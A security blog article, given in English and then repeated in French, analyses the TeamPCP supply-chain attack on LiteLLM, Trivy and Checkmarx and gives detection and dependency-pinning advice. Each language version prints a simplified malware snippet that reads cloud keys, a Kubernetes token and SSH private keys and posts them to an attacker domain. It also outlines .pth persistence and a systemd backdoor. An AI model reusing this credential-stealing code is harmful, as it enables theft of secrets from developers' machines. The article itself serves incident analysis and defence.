Between March 19 and March 27, 2026, a threat actor group known as TeamPCP executed the most devastating supply chain attack campaign in PyPI's history. They didn't target obscure packages — they compromised security tools themselves: Aqua Security's Trivy vulnerability scanner, Checkmarx's KICS static analysis tool, and BerriAI's LiteLLM AI gateway library. The campaign was assigned CVE-2026-33634 with a CVSS score of 9.4 CRITICAL.
LiteLLM alone sees over 95 million downloads per month. The backdoored versions were live on PyPI for approximately 40 minutes — yet they were downloaded over 119,000 times. The malware harvested SSH keys, cloud credentials, Kubernetes secrets, and cryptocurrency wallets, then exfiltrated everything to an attacker-controlled server. This article is a complete technical breakdown of what happened, who is affected, and how to protect your Python projects going forward.
The TeamPCP Campaign: A Complete Timeline
What makes TeamPCP's campaign unprecedented is its cascading strategy: first compromise the security tools developers trust, then use the stolen credentials to poison the packages those tools are supposed to protect. Here's the full timeline based on reports from Palo Alto Unit 42, Datadog Security Labs, and PyPI's official incident report.
aquasecurity/trivy-action, and all 7 tags in aquasecurity/setup-trivy. Every CI/CD pipeline using Trivy GitHub Actions now pulls malicious code that steals SSH keys, cloud tokens, and secrets.checkmarx/kics-github-action and poisons version 2.3.28 of checkmarx/ast-github-action.telnyx PyPI package (4.87.1 and 4.87.2) are also backdoored by TeamPCP using the same attack pattern.What the Malware Actually Did: Technical Analysis
The LiteLLM backdoor used two distinct delivery mechanisms across its two malicious versions, each designed to maximize the chance of execution while evading detection.
Version 1.82.7: Import-Triggered Payload
The first malicious version embedded a base64-encoded payload directly inside litellm/proxy/proxy_server.py. This file is the standard import path for LiteLLM's proxy server mode — meaning the malware executed automatically whenever any application imported litellm.proxy.
# Simplified representation of the malicious code in v1.82.7
# (actual payload was base64-encoded and obfuscated)
import base64, os, subprocess
# Harvests credentials from environment and filesystem
secrets = {
'aws': os.environ.get('AWS_SECRET_ACCESS_KEY'),
'gcp': open(os.path.expanduser('~/.config/gcloud/credentials.db')).read(),
'k8s': open('/var/run/secrets/kubernetes.io/serviceaccount/token').read(),
'ssh': open(os.path.expanduser('~/.ssh/id_rsa')).read(),
}
# Exfiltrates to attacker-controlled domain
requests.post('https://models.litellm.cloud/collect', json=secrets)Version 1.82.8: .pth Persistence — Runs on Every Python Startup
The second version was far more aggressive. It installed a file named litellm_init.pth into site-packages/. Python automatically processes all .pth files when the interpreter starts — meaning the malicious code would execute every time Python runs, even if LiteLLM is never imported.
# The .pth mechanism: Python loads .pth files from site-packages at startup
# litellm_init.pth contained:
import litellm_init # triggers the malware module
# The malware then performed a three-stage attack:
# Stage 1: Credential harvesting
# - SSH keys and private keys
# - AWS, GCP, Azure cloud credentials
# - Kubernetes secrets and service account tokens
# - Slack and Discord tokens
# - Cryptocurrency wallet configs
# - .env files and shell history
#
# Stage 2: Lateral movement
# - Deploys privileged pods across Kubernetes clusters
# - Attempts to reach every node in the cluster
#
# Stage 3: Persistence
# - Installs a systemd backdoor service
# - Polls for additional malicious binarieslitellm==1.82.7 or litellm==1.82.8 on March 24, 2026 between 10:39 and ~11:20 UTC, your environment may be compromised. Rotate ALL credentials immediately: cloud keys, SSH keys, database passwords, API tokens, and Kubernetes secrets. Check for the file litellm_init.pth in your Python site-packages/ directory.
The Scale of Impact
Beyond LiteLLM itself, 1,750 Python packages declared a dependency on litellm with version ranges that would automatically pull the poisoned releases. And because the .pth mechanism in v1.82.8 fires on every Python startup, the blast radius extends beyond applications that explicitly use LiteLLM — any Python process running in the same virtual environment was affected.
Why Security Tools Were the Perfect Target
TeamPCP's strategy of compromising security scanners first was not random — it was a calculated escalation path:
1. Trust amplification. Developers explicitly grant security tools access to their most sensitive assets: source code, CI/CD secrets, cloud credentials. A compromised vulnerability scanner runs with higher privileges than the code it scans.
2. Credential cascade. Trivy's GitHub Actions were used in LiteLLM's own CI/CD pipeline. By compromising Trivy first, TeamPCP gained access to LiteLLM's PyPI publishing credentials — turning one compromise into a chain reaction across ecosystems.
3. Detection blind spot. When your security scanner is itself compromised, it can't detect its own malware. Organizations running Trivy to scan for vulnerabilities were unknowingly exfiltrating their own secrets through the very tool they trusted to protect them.
How to Check If You Were Affected
Run these checks immediately if you use LiteLLM, Trivy, or Checkmarx in your Python projects or CI/CD pipelines:
# 1. Check if you installed the compromised LiteLLM versions
pip show litellm | grep Version
# If Version is 1.82.7 or 1.82.8 → you were affected
# 2. Search for the .pth persistence mechanism
find $(python -c "import site; print(site.getsitepackages()[0])") \
-name "litellm_init.pth" 2>/dev/null
# Any result → your environment was actively compromised
# 3. Check pip install history (if available)
pip cache list litellm 2>/dev/null | grep "1.82.[78]"
# 4. Check your requirements files for unpinned LiteLLM
grep -r "litellm" requirements*.txt Pipfile* pyproject.toml poetry.lock 2>/dev/null
# If version is unpinned or uses >= ranges, you may have pulled a bad version
# 5. Verify Trivy GitHub Actions (check your .github/workflows/)
grep -r "aquasecurity/trivy" .github/workflows/ 2>/dev/null
# If you used trivy-action between March 19-24, your CI secrets may be leakedDefending Your Python Projects: 8 Actionable Steps
The TeamPCP campaign exploited every layer of the Python supply chain — from CI/CD tools to package registries to runtime persistence. Here are the defenses that would have caught or mitigated this attack:
- Pin exact versions in lockfiles and CI. Never use
>=or~=ranges for dependencies in production. If yourrequirements.txtsaidlitellm>=1.80, you would have automatically pulled the backdoored 1.82.8. Usepip freeze,poetry.lock, orpip-toolsto pin exact versions. - Use pip's
--uploaded-prior-toflag (pip v26+). This new feature lets you restrict installations to packages published before a specific date — a direct defense against freshly published malicious versions. - Verify PyPI attestations. As of March 2026, over 132,360 PyPI packages have Sigstore-based attestations that prove the publishing identity and link to the source repository. Use
pip install --require-attestationwhen available. - Pin GitHub Actions by SHA, not by tag. TeamPCP overwrote Trivy's version tags to point to malicious commits. Using
uses: aquasecurity/trivy-action@SHA256instead of@v1would have prevented the compromise from reaching your pipelines. - Enable 2FA with hardware keys on PyPI and GitHub. The LiteLLM maintainer's PyPI credentials were stolen via the Trivy CI/CD compromise. Hardware-based 2FA (WebAuthn) cannot be phished or stolen through environment variable exfiltration.
- Use ephemeral CI/CD environments. Build environments should be created fresh for each job and destroyed immediately after. This prevents persistence mechanisms like systemd backdoors from surviving across builds.
- Monitor your dependencies continuously. Running
pip auditonce catches known CVEs at that point in time. But when litellm 1.82.8 was published, there was no CVE yet — the compromise was detected through behavioral analysis, not database lookups. Use continuous monitoring tools that check daily against updated vulnerability databases. - Audit .pth files in your Python environments. The
.pthauto-execution mechanism is a known persistence vector. Regularly checksite-packages/for unexpected.pthfiles that you didn't install.
The Bigger Picture: PyPI Supply Chain Attacks Are Accelerating
TeamPCP is not an isolated incident. The Python ecosystem has seen a sharp escalation in supply chain attacks throughout 2025-2026:
| Date | Campaign | Impact | Severity |
|---|---|---|---|
| Aug 2025 | GhostActions — compromised PyPI maintainer account | Exfiltrated 3,000+ secrets including npm tokens via malicious GitHub Actions workflow | HIGH |
| Sep 2025 | Cloud credential harvesters — 20 malicious packages | 14,100+ downloads targeting AWS, Alibaba Cloud, and Tencent Cloud credentials | HIGH |
| Oct 2025 | soopsocks infostealer | 2,653 systems infected before PyPI takedown | HIGH |
| Mar 2026 | TeamPCP — Trivy, Checkmarx, LiteLLM, Telnyx | 119,000+ downloads of backdoored LiteLLM in 40 min, 1,000+ enterprise environments | CRITICAL — CVSS 9.4 |
Three months into 2026, four significant supply chain attacks have already been disclosed on PyPI, with 474 public repositories found executing malicious code from compromised components. The trend is clear: attackers are shifting from publishing fake packages (typosquatting) to compromising legitimate, widely-used packages — a far more dangerous vector because developers already trust these packages.
What This Means for Your requirements.txt
If your Python project uses LiteLLM — and with 95 million downloads per month, many AI/ML projects do — your requirements.txt or pyproject.toml probably looks something like this:
litellm>=1.80.0 # DANGEROUS: would pull 1.82.7/1.82.8 during attack window
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0The fix is not just upgrading past the malicious versions — it's adopting a dependency management strategy that would have prevented the compromise entirely:
# Safe: pin exact versions via lockfile
litellm==1.82.6 # Last known-good version before compromise
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0
# Even safer: use poetry.lock or pip-compile for hash verification
# poetry.lock pins exact versions AND records content hashes
# pip-compile --generate-hashes creates requirements with hash checksBut even with exact pinning, you need to know when a new CVE affects your pinned version. The CVE for the TeamPCP campaign (CVE-2026-33634) was published days after the attack. Without continuous monitoring, you wouldn't know your litellm==1.82.6 is safe while 1.82.7 next to it is compromised.
CVE OptiBot monitors your lockfiles daily against the OSV.dev database and alerts you by email when new vulnerabilities match your exact dependency versions. Upload your requirements.txt or poetry.lock and get notified the moment a CVE like CVE-2026-33634 is published — not days or weeks later.
Frequently Asked Questions
Which LiteLLM versions were compromised?
Versions 1.82.7 and 1.82.8, published on March 24, 2026 between 10:39 UTC and approximately 11:20 UTC. Both versions have been removed from PyPI. If you installed LiteLLM during that 40-minute window, you should assume your environment was compromised and rotate all credentials.
What is CVE-2026-33634?
CVE-2026-33634 is the identifier assigned to the TeamPCP supply chain campaign. It covers the compromise of Trivy GitHub Actions, Checkmarx KICS GitHub Actions, LiteLLM on PyPI, and the Telnyx Python SDK on PyPI. It has a CVSS score of 9.4 (CRITICAL), reflecting the high impact and low complexity of the attack.
How do I check if litellm_init.pth is in my environment?
Run: find $(python -c "import site; print(site.getsitepackages()[0])") -name "litellm_init.pth". If the file exists, your Python environment has been backdoored. You should destroy and recreate the virtual environment, rotate all credentials accessible from that machine, and check for systemd backdoor services that the malware may have installed.
Does pinning my LiteLLM version to 1.82.6 make me safe?
Yes, version 1.82.6 was the last clean version before the compromise. However, pinning alone doesn't protect you from future supply chain attacks on the same package or others. You should also use hash verification (pip install --require-hashes), verify PyPI attestations when available, and run continuous dependency monitoring.
Were other packages besides LiteLLM and Telnyx compromised on PyPI?
As of the PyPI incident report (April 2, 2026), only LiteLLM and Telnyx were directly compromised on PyPI. However, 1,750 packages that depend on LiteLLM with unpinned version ranges could have automatically pulled the malicious versions. Additionally, the Trivy and Checkmarx GitHub Actions compromises affected CI/CD pipelines across all ecosystems, not just Python.
How can I protect my CI/CD pipeline from similar attacks?
Pin all GitHub Actions by commit SHA instead of version tags (e.g., uses: action/name@abc123def instead of @v1). Use ephemeral build environments that are destroyed after each run. Store PyPI publishing tokens as short-lived OIDC tokens via Trusted Publishers instead of long-lived API tokens. And audit your CI/CD secrets regularly — the TeamPCP campaign succeeded because stolen CI credentials provided PyPI publishing access.
Entre le 19 et le 27 mars 2026, un groupe d'attaquants connu sous le nom de TeamPCP a execute la campagne d'attaque supply chain la plus devastatrice de l'histoire de PyPI. Ils n'ont pas cible des packages obscurs — ils ont compromis les outils de securite eux-memes : le scanner de vulnerabilites Trivy d'Aqua Security, l'outil d'analyse statique KICS de Checkmarx, et la bibliotheque AI gateway LiteLLM de BerriAI. La campagne a recu l'identifiant CVE-2026-33634 avec un score CVSS de 9.4 CRITIQUE.
LiteLLM seul enregistre plus de 95 millions de telechargements par mois. Les versions piratees sont restees disponibles sur PyPI pendant environ 40 minutes — et ont ete telechargees plus de 119 000 fois. Le malware recoltait les cles SSH, les identifiants cloud, les secrets Kubernetes et les portefeuilles de cryptomonnaies, puis exfiltrait le tout vers un serveur controle par les attaquants. Cet article est une analyse technique complete de ce qui s'est passe, de qui est affecte, et de comment proteger vos projets Python a l'avenir.
La campagne TeamPCP : chronologie complete
Ce qui rend la campagne TeamPCP sans precedent est sa strategie en cascade : d'abord compromettre les outils de securite auxquels les developpeurs font confiance, puis utiliser les identifiants voles pour empoisonner les packages que ces outils sont censes proteger. Voici la chronologie complete basee sur les rapports de Palo Alto Unit 42, Datadog Security Labs et le rapport d'incident officiel de PyPI.
aquasecurity/trivy-action, et les 7 tags dans aquasecurity/setup-trivy. Chaque pipeline CI/CD utilisant les GitHub Actions de Trivy execute desormais du code malveillant qui vole les cles SSH, tokens cloud et secrets.checkmarx/kics-github-action et empoisonne la version 2.3.28 de checkmarx/ast-github-action.telnyx (4.87.1 et 4.87.2) sont egalement piratees par TeamPCP en utilisant le meme schema d'attaque.Ce que le malware faisait reellement : analyse technique
La backdoor LiteLLM utilisait deux mecanismes de livraison distincts dans ses deux versions malveillantes, chacun concu pour maximiser les chances d'execution tout en evitant la detection.
Version 1.82.7 : payload declenche a l'import
La premiere version malveillante embarquait un payload encode en base64 directement dans litellm/proxy/proxy_server.py. Ce fichier est le chemin d'import standard pour le mode proxy server de LiteLLM — ce qui signifie que le malware s'executait automatiquement des qu'une application importait litellm.proxy.
# Representation simplifiee du code malveillant dans v1.82.7
# (le payload reel etait encode en base64 et obfusque)
import base64, os, subprocess
# Recolte les identifiants depuis l'environnement et le systeme de fichiers
secrets = {
'aws': os.environ.get('AWS_SECRET_ACCESS_KEY'),
'gcp': open(os.path.expanduser('~/.config/gcloud/credentials.db')).read(),
'k8s': open('/var/run/secrets/kubernetes.io/serviceaccount/token').read(),
'ssh': open(os.path.expanduser('~/.ssh/id_rsa')).read(),
}
# Exfiltre vers un domaine controle par l'attaquant
requests.post('https://models.litellm.cloud/collect', json=secrets)Version 1.82.8 : persistance via .pth — s'execute a chaque demarrage Python
La seconde version etait beaucoup plus agressive. Elle installait un fichier nomme litellm_init.pth dans site-packages/. Python traite automatiquement tous les fichiers .pth au demarrage de l'interpreteur — ce qui signifie que le code malveillant s'executait a chaque lancement de Python, meme si LiteLLM n'est jamais importe.
# Le mecanisme .pth : Python charge les fichiers .pth depuis site-packages au demarrage
# litellm_init.pth contenait :
import litellm_init # declenche le module malveillant
# Le malware effectuait ensuite une attaque en trois etapes :
# Etape 1 : Recolte des identifiants
# - Cles SSH et cles privees
# - Identifiants cloud AWS, GCP, Azure
# - Secrets Kubernetes et tokens de compte de service
# - Tokens Slack et Discord
# - Configurations de portefeuilles crypto
# - Fichiers .env et historique shell
#
# Etape 2 : Mouvement lateral
# - Deploie des pods privilegies dans les clusters Kubernetes
# - Tente d'atteindre chaque noeud du cluster
#
# Etape 3 : Persistance
# - Installe un service backdoor systemd
# - Interroge periodiquement un serveur pour des binaires supplementaireslitellm==1.82.7 ou litellm==1.82.8 le 24 mars 2026 entre 10h39 et ~11h20 UTC, votre environnement est peut-etre compromis. Effectuez une rotation de TOUS vos identifiants immediatement : cles cloud, cles SSH, mots de passe de bases de donnees, tokens API et secrets Kubernetes. Verifiez la presence du fichier litellm_init.pth dans le repertoire site-packages/ de votre environnement Python.
L'ampleur de l'impact
Au-dela de LiteLLM lui-meme, 1 750 packages Python declaraient une dependance sur litellm avec des plages de versions qui auraient automatiquement tire les releases empoisonnees. Et parce que le mecanisme .pth de la v1.82.8 s'execute a chaque demarrage Python, le rayon d'impact s'etend au-dela des applications utilisant explicitement LiteLLM — tout processus Python executant dans le meme environnement virtuel etait affecte.
Pourquoi les outils de securite etaient la cible parfaite
La strategie de TeamPCP de compromettre d'abord les scanners de securite n'etait pas aleatoire — c'etait un chemin d'escalade calcule :
1. Amplification de la confiance. Les developpeurs accordent explicitement aux outils de securite l'acces a leurs actifs les plus sensibles : code source, secrets CI/CD, identifiants cloud. Un scanner de vulnerabilites compromis s'execute avec des privileges superieurs a ceux du code qu'il analyse.
2. Cascade d'identifiants. Les GitHub Actions de Trivy etaient utilisees dans le propre pipeline CI/CD de LiteLLM. En compromettant Trivy d'abord, TeamPCP a obtenu l'acces aux identifiants de publication PyPI de LiteLLM — transformant une compromission en reaction en chaine a travers les ecosystemes.
3. Angle mort de detection. Quand votre scanner de securite est lui-meme compromis, il ne peut pas detecter son propre malware. Les organisations utilisant Trivy pour scanner les vulnerabilites exfiltraient sans le savoir leurs propres secrets via l'outil meme qu'elles utilisaient pour se proteger.
Comment verifier si vous etes affecte
Executez ces verifications immediatement si vous utilisez LiteLLM, Trivy ou Checkmarx dans vos projets Python ou pipelines CI/CD :
# 1. Verifier si vous avez installe les versions compromises de LiteLLM
pip show litellm | grep Version
# Si Version est 1.82.7 ou 1.82.8 → vous etes affecte
# 2. Rechercher le mecanisme de persistance .pth
find $(python -c "import site; print(site.getsitepackages()[0])") \
-name "litellm_init.pth" 2>/dev/null
# Tout resultat → votre environnement est activement compromis
# 3. Verifier l'historique d'installation pip (si disponible)
pip cache list litellm 2>/dev/null | grep "1.82.[78]"
# 4. Verifier vos fichiers requirements pour un LiteLLM non fixe
grep -r "litellm" requirements*.txt Pipfile* pyproject.toml poetry.lock 2>/dev/null
# Si la version n'est pas fixee ou utilise des plages >=, vous avez peut-etre tire une mauvaise version
# 5. Verifier les GitHub Actions Trivy (dans vos .github/workflows/)
grep -r "aquasecurity/trivy" .github/workflows/ 2>/dev/null
# Si vous utilisiez trivy-action entre le 19 et le 24 mars, vos secrets CI sont peut-etre compromisProteger vos projets Python : 8 actions concretes
La campagne TeamPCP a exploite chaque couche de la chaine d'approvisionnement Python — des outils CI/CD aux registres de packages jusqu'a la persistance runtime. Voici les defenses qui auraient detecte ou attenue cette attaque :
- Fixez les versions exactes dans les lockfiles et le CI. N'utilisez jamais de plages
>=ou~=pour les dependances en production. Si votrerequirements.txtindiquaitlitellm>=1.80, vous auriez automatiquement tire la version piratee 1.82.8. Utilisezpip freeze,poetry.lockoupip-toolspour fixer les versions exactes. - Utilisez le flag
--uploaded-prior-tode pip (pip v26+). Cette nouvelle fonctionnalite vous permet de restreindre les installations aux packages publies avant une date specifique — une defense directe contre les versions malveillantes fraichement publiees. - Verifiez les attestations PyPI. En mars 2026, plus de 132 360 packages PyPI disposent d'attestations basees sur Sigstore qui prouvent l'identite de publication et lient au depot source. Utilisez
pip install --require-attestationquand disponible. - Fixez les GitHub Actions par SHA, pas par tag. TeamPCP a remplace les tags de version de Trivy pour pointer vers des commits malveillants. Utiliser
uses: aquasecurity/trivy-action@SHA256au lieu de@v1aurait empeche la compromission d'atteindre vos pipelines. - Activez la 2FA avec des cles materiel sur PyPI et GitHub. Les identifiants PyPI du mainteneur de LiteLLM ont ete voles via la compromission CI/CD de Trivy. La 2FA basee sur le materiel (WebAuthn) ne peut pas etre phishee ou volee par exfiltration de variables d'environnement.
- Utilisez des environnements CI/CD ephemeres. Les environnements de build doivent etre crees a neuf pour chaque job et detruits immediatement apres. Cela empeche les mecanismes de persistance comme les backdoors systemd de survivre entre les builds.
- Monitorez vos dependances en continu. Executer
pip auditune fois detecte les CVE connus a ce moment precis. Mais quand litellm 1.82.8 a ete publie, il n'y avait pas encore de CVE — la compromission a ete detectee par analyse comportementale, pas par consultation de base de donnees. Utilisez des outils de monitoring continu qui verifient quotidiennement les bases de vulnerabilites mises a jour. - Auditez les fichiers .pth dans vos environnements Python. Le mecanisme d'auto-execution
.pthest un vecteur de persistance connu. Verifiez regulierementsite-packages/pour les fichiers.pthinattendus que vous n'avez pas installes.
Vue d'ensemble : les attaques supply chain PyPI s'accelerent
TeamPCP n'est pas un incident isole. L'ecosysteme Python a connu une escalade marquee des attaques supply chain tout au long de 2025-2026 :
| Date | Campagne | Impact | Severite |
|---|---|---|---|
| Aout 2025 | GhostActions — compte mainteneur PyPI compromis | 3 000+ secrets exfiltres dont des tokens npm via un workflow GitHub Actions malveillant | HIGH |
| Sep 2025 | Voleurs de credentials cloud — 20 packages malveillants | 14 100+ telechargements ciblant les credentials AWS, Alibaba Cloud et Tencent Cloud | HIGH |
| Oct 2025 | Infostealer soopsocks | 2 653 systemes infectes avant le retrait PyPI | HIGH |
| Mars 2026 | TeamPCP — Trivy, Checkmarx, LiteLLM, Telnyx | 119 000+ telechargements de LiteLLM pirate en 40 min, 1 000+ environnements d'entreprise | CRITIQUE — CVSS 9.4 |
Trois mois apres le debut de 2026, quatre attaques supply chain significatives ont deja ete divulguees sur PyPI, avec 474 depots publics executant du code malveillant provenant de composants compromis. La tendance est claire : les attaquants passent de la publication de faux packages (typosquatting) a la compromission de packages legitimes et largement utilises — un vecteur bien plus dangereux car les developpeurs font deja confiance a ces packages.
Ce que cela signifie pour votre requirements.txt
Si votre projet Python utilise LiteLLM — et avec 95 millions de telechargements par mois, de nombreux projets AI/ML le font — votre requirements.txt ou pyproject.toml ressemble probablement a ceci :
litellm>=1.80.0 # DANGEREUX : aurait tire 1.82.7/1.82.8 pendant la fenetre d'attaque
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0La solution n'est pas seulement de mettre a jour au-dela des versions malveillantes — c'est d'adopter une strategie de gestion des dependances qui aurait empeche la compromission entierement :
# Securise : fixez les versions exactes via lockfile
litellm==1.82.6 # Derniere version saine avant la compromission
openai==1.68.0
fastapi==0.115.0
pydantic==2.10.0
uvicorn==0.34.0
# Encore plus sur : utilisez poetry.lock ou pip-compile pour la verification des hash
# poetry.lock fixe les versions exactes ET enregistre les hash de contenu
# pip-compile --generate-hashes cree des requirements avec verification de hashMais meme avec un verrouillage exact, vous devez savoir quand une nouvelle CVE affecte votre version fixee. Le CVE de la campagne TeamPCP (CVE-2026-33634) a ete publie des jours apres l'attaque. Sans monitoring continu, vous ne sauriez pas que votre litellm==1.82.6 est sur tandis que 1.82.7 juste a cote est compromis.
CVE OptiBot surveille vos lockfiles quotidiennement contre la base de donnees OSV.dev et vous alerte par email quand de nouvelles vulnerabilites correspondent a vos versions exactes de dependances. Uploadez votre requirements.txt ou poetry.lock et soyez notifie au moment ou un CVE comme CVE-2026-33634 est publie — pas des jours ou semaines plus tard.
Questions frequentes
Quelles versions de LiteLLM ont ete compromises ?
Les versions 1.82.7 et 1.82.8, publiees le 24 mars 2026 entre 10h39 UTC et environ 11h20 UTC. Les deux versions ont ete retirees de PyPI. Si vous avez installe LiteLLM pendant cette fenetre de 40 minutes, vous devez considerer votre environnement comme compromis et effectuer une rotation de tous vos identifiants.
Qu'est-ce que CVE-2026-33634 ?
CVE-2026-33634 est l'identifiant assigne a la campagne supply chain TeamPCP. Il couvre la compromission des GitHub Actions de Trivy, des GitHub Actions KICS de Checkmarx, de LiteLLM sur PyPI et du SDK Python Telnyx sur PyPI. Il a un score CVSS de 9.4 (CRITIQUE), refletant l'impact eleve et la faible complexite de l'attaque.
Comment verifier si litellm_init.pth est dans mon environnement ?
Executez : find $(python -c "import site; print(site.getsitepackages()[0])") -name "litellm_init.pth". Si le fichier existe, votre environnement Python a ete pirate. Vous devez detruire et recreer l'environnement virtuel, effectuer une rotation de tous les identifiants accessibles depuis cette machine, et verifier la presence de services backdoor systemd que le malware a pu installer.
Fixer ma version de LiteLLM a 1.82.6 me rend-il sur ?
Oui, la version 1.82.6 etait la derniere version propre avant la compromission. Cependant, le verrouillage seul ne vous protege pas des futures attaques supply chain sur le meme package ou d'autres. Vous devriez egalement utiliser la verification de hash (pip install --require-hashes), verifier les attestations PyPI quand disponibles, et executer un monitoring continu des dependances.
D'autres packages que LiteLLM et Telnyx ont-ils ete compromis sur PyPI ?
Au moment du rapport d'incident PyPI (2 avril 2026), seuls LiteLLM et Telnyx ont ete directement compromis sur PyPI. Cependant, 1 750 packages dependant de LiteLLM avec des plages de versions non fixees auraient pu automatiquement tirer les versions malveillantes. De plus, les compromissions des GitHub Actions de Trivy et Checkmarx ont affecte les pipelines CI/CD de tous les ecosystemes, pas uniquement Python.
Comment proteger mon pipeline CI/CD d'attaques similaires ?
Fixez toutes les GitHub Actions par SHA de commit au lieu de tags de version (ex. uses: action/name@abc123def au lieu de @v1). Utilisez des environnements de build ephemeres detruits apres chaque execution. Stockez les tokens de publication PyPI sous forme de tokens OIDC a duree limitee via Trusted Publishers au lieu de tokens API a longue duree. Et auditez regulierement vos secrets CI/CD — la campagne TeamPCP a reussi car les identifiants CI voles donnaient acces a la publication PyPI.